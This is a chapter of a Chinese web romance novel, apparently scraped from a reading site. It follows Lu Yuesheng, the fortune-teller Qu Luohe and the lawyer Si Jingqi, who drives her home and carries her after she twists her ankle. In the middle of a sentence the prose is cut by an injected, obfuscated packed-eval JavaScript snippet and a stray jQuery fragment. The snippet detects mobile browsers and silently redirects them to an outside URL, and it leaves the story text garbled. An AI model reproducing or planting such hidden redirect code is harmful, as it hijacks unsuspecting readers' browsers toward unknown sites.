曲洛河做了个“嘘”的手势,拉开她旁边的椅子坐下说:“不得喧哗,我在这工作啊。”
陆悦声反应几秒,打趣道:“哟,身兼多职啊,副业那边还能搞得如鱼得水的。”
曲洛河伸出手打住:“诶,此言差矣,我现在还在试用期呢,在我转正之前,这才是我的副业。但在我转正之后嘛,一切都会变得不一样。”
见他那副骄傲的神情,陆悦声突然有些好奇:“怎么会想到要去给人算命的。”
“那是爱好。”曲洛河如实说,“再说了,能赚钱就不寒颤,虽然也没赚几个板子。”
先前确实没见有几个人会往那边走的,陆悦声试探地问:“所以,找你占卜的人,不会就我一个吧?”
“此言又差矣。”曲洛河再次伸出手要纠正,“有些人因为好奇还是会进来逛逛的,不过办年卡的…确实就只有你一个。”
说到后半句,他声音还有点儿虚。
陆悦声嘴角很明显地抽动了下。
曲洛河注意到了,赶忙要稳住自己尊贵会员的情绪:“但那是他们看得没你透彻,你想啊,一年有365天,你一天问我一个问题那不就赚翻了吗。”
“再说了,我占卜还是算得挺准的吧。”他继续喋喋不休,还意有所指地看了眼录制间,“人不都被你钓过来了。”
此话倒是不差。
陆悦声哼笑一声:“所以你所指的机会就是这个?”
“这还不算机会吗?”曲洛河理直气壮地说,“我可听蒋姐说这哥们之前从不接受任何人的采访的,但他为你破了例,这说明什么?”
陆悦声两手并拢,支着下巴,眼波多了几分胜券在握的意味:“说明我还是挺有魅力的吧。”
话落的瞬间,曲洛河像是早有准备,当即就从包里掏出《风云录》的实体书,连笔都给她递过来了,抓着机会就问:“所以这回能给我一个签名了吗?”
陆悦声扯了扯唇,这不会又是他算到的吧,连书都带过来了。
她思虑几秒,还是果断说:“抱歉啊,还是不行,我还是要坚守职业素养的。”
见他目光失落,她也不心软。
她看了眼时间,才刚过不久,但莫名就开始无聊了起来,于是忍不住问:“他们这个采访多久结束啊?”
“我不知道啊。”曲洛河说。
陆悦声蹙眉:“你不是工作人员吗?”
曲洛河已经数不清是第几次纠正她了:“但还是在试用阶段的,不然我早进去帮忙了,怎么可能就坐在这陪你聊天。”
不过想起一事,他又从包里掏出一样东西来,嘿嘿两声说:“诶,想不想再占卜,我带牌过来了。”
陆悦声环顾了下四周,又打量他几眼,提醒道:“现在可是你的工作时间。”
怎么还能摸鱼摸得这么光明正大的。
但曲洛河丝毫不慌:“蒋姐说了,我当前的任务就是招待好客人。”
而现在这块就坐着两人,他口中的客人是谁自然不言而喻。
两人相视一眼,不约而同地笑了起来。
于是当录制间的工作结束,蒋思洁和司净祁一并出来看到的就是两人在那边玩牌玩得不亦乐乎。
甚至看到曲洛河在陆悦声耳边说了句悄悄话后,陆悦声并没有推开,反而笑得很欢:“准不准啊,说得这么传神。”
“我算得准不准,你不早试验过了吗,我可是有职业证书的。”
然而一抬头,见不远处蒋思洁目瞪口呆地看着两人,曲洛河立马换了副脸色,讪笑道:“诶,蒋姐,你们结束了啊。”
蒋思洁总算回过神来,疑惑道:“你们认识?”
“一点。”
“不熟。”
两道声音同时落下。
见司净祁视线不偏不倚地落在这边,陆悦声瞪了曲洛河一眼,示意他闭嘴,又忙找补道:“见过一点面,但是不熟。”
蒋思洁若有所思地点点头,也没空去管两人,同司净祁客气说道:“感谢司律的配合,没其他事了,您可以离开了。”
司净祁嗯了声,就要往外走。
陆悦声看了眼他的背影,连忙对蒋思洁使眼色,无声地做口型:“快赶我走。”
蒋思洁立马会意,生怕不远处那人听不见,还拔高了点音量:“六六,我过会儿还要整理稿件,可能要忙到很晚,恐怕不能陪你吃晚饭了。”
陆悦声很识大体地说:“那行,你忙,我不打扰你。”
提起包要离开时,司净祁还没走远,两人恰好能搭乘同一趟电梯。
封闭的空间里,陆悦声没吭声,默默点开打车软件,但屏幕稍微往他那边侧了侧。
司净祁注意到她手机屏幕上的内容,出声道:“我开车来的。”
陆悦声佯装疑惑地“啊”了声。
司净祁看向她:“你要回去吗,我可以送你一程。”
陆悦声眼睛瞬间变得亮晶晶的,扬笑道:“那就拜托司律啦。”
电梯下至负一楼,她随他走到一辆车前,听他提醒道:“上车吧。”
陆悦声却没动作,在他疑惑的目光下,她指了指后座:“坐这儿?”
话声顿住,她又指了指副驾:“还是坐这儿?你路上缺人聊天吗?”
司净祁沉默几秒,轻咳了声说:“如果你容易晕车,建议你坐副驾。”
说罢,他没再看她,自顾打开驾驶座的门坐上去。
陆悦声弯了弯唇,还是还是选择了副驾。
车子即将驶动时,司净祁再次出了声:“门没关紧。”
但陆悦声像是没听清,只疑惑地“啊”了声,但并没有动作。
司净祁顿了几秒,解开了自己的安全带,忽然迫近她,将副驾的门打开又重新关上。
整个过程分明很短,但偏偏脖子上那股温热的气息刺激着他的皮肤,甚至她身上的香味他都能很明显地感受得到,他仿佛觉得时间被拉长了好几倍。
直至坐回去,他才恍惚间如释重负地松了口气。
可紧接着,他又听见一声:“司律今天格外好看。”
透过后视镜去看她的脸,她笑盈盈的,此刻正盯着自己看。他不动声色收回视线,话里没什么情绪:“电视台的功劳。”
“是吗?”陆悦声若有所思,“可是你本来就长得很好看啊。”
司净祁很轻地哼了声笑:“你希望我夸你吗?”
陆悦声两手抓在安全带上,嘟囔道:“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416444|200784||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是发自内心的,不是让你来商业互夸的。”
她的声音很好听,听着乖乖的,尤其是笑起来。
但司净祁怕分神,没再和她搭话。
一直到红灯,车子停下来时,他才发觉她睡过去了。
她今天穿得很好看,里头是一条修身的复古裙,外头套了件牛仔外套,还特地搭了双裸色高跟鞋,鞋跟看上去有七八厘米。
她脸上带了点淡妆,两颊微粉,唇彩很甜蜜。头歪向一旁,呼吸声浅浅的,手还紧紧抓着安全带,莫名让人感觉可爱。
她今天,也很漂亮。
这是司净祁在心里想的话。
车子在小区内停下,下来后,他走向副驾的位置,力道不重地拍了拍她肩膀,想叫她起来。
她有所反应,但脑袋或许还不清醒,只将头掉转向远离他的方向后,又没动作了。
他有些犹豫,挣扎几秒,还是喊了声:“陆…悦声,醒醒。”
这还是他第一次喊她全名,莫名觉得别扭。
但好在这一回她动作幅度大了些,许是觉得坐姿不太舒服,她想伸懒腰,但手臂不小心勾住了他脖子,迫使他身体不得不再靠近她些。
下一秒,一阵柔软的温热的触感从他喉间处划过。
她的嘴唇碰到了。
但她像是无知无觉,迷迷糊糊地松开手,眼底还有些朦胧:“到了?”
司净祁嗓音有点儿哑:“嗯。”
陆悦声提着裙摆要下来,但许是睡得太沉脑袋还没完全醒,由脚落到地上时没站稳,不小心崴了下,连细细的鞋跟都断了,此刻摇摇欲坠地挂着。
她吃痛地嘶了声,很委屈地说:“我脚崴到了。”
司净祁眯眼,沉声道:“陆悦声,你故意的?”
陆悦声的重点却全然不在这,眼睛一下亮了:“你刚刚叫我名字了?还挺好听的,能再叫一遍吧?”
司净祁眉心微拧,注意到她鞋跟确实断了,无声地叹了口气:“需要我背你吗?”
陆悦声眼睛弯弯的:“穿着裙子可不好背。可惜又怕你说我是故意的,所以我也不打算让你抱。”
说罢,她动作干脆地直接将鞋子脱下提在手里,然后像阵风一样,我行我素地走在夜色中。
只是因为脚踝处的痛感明显,她走起路来并不是很自在。
司净祁注视几秒,大步追上,握住了她手臂迫使她停下来。
陆悦声正要发问,身旁忽然传来低沉的一声:“搂住我。”
她照做,下一秒身子被打横抱起。
在他看不到的视野里,她红唇勾起,语气却云淡风轻的:“司律,这是你提的,可不能误会人哦。”
司净祁喉间微动,很轻地嗯了声。
一直到她家门口,他才将她放下。
脚踝此刻已经肿得有些厉害,临进去前,他提醒道:“你的脚…”
方才在外面被冷风吹得神经有些麻痹,此刻才后知后觉又感受到痛感,她眼睛水润润的:“好像肿了呢。”
司净祁犹豫一刻,还是朝她伸出手,示意她扶住:“先到我家来吧。”
陆悦声很有分寸地握在他手臂的地方,右脚抬起,仅靠着左脚慢吞吞地跳着进去。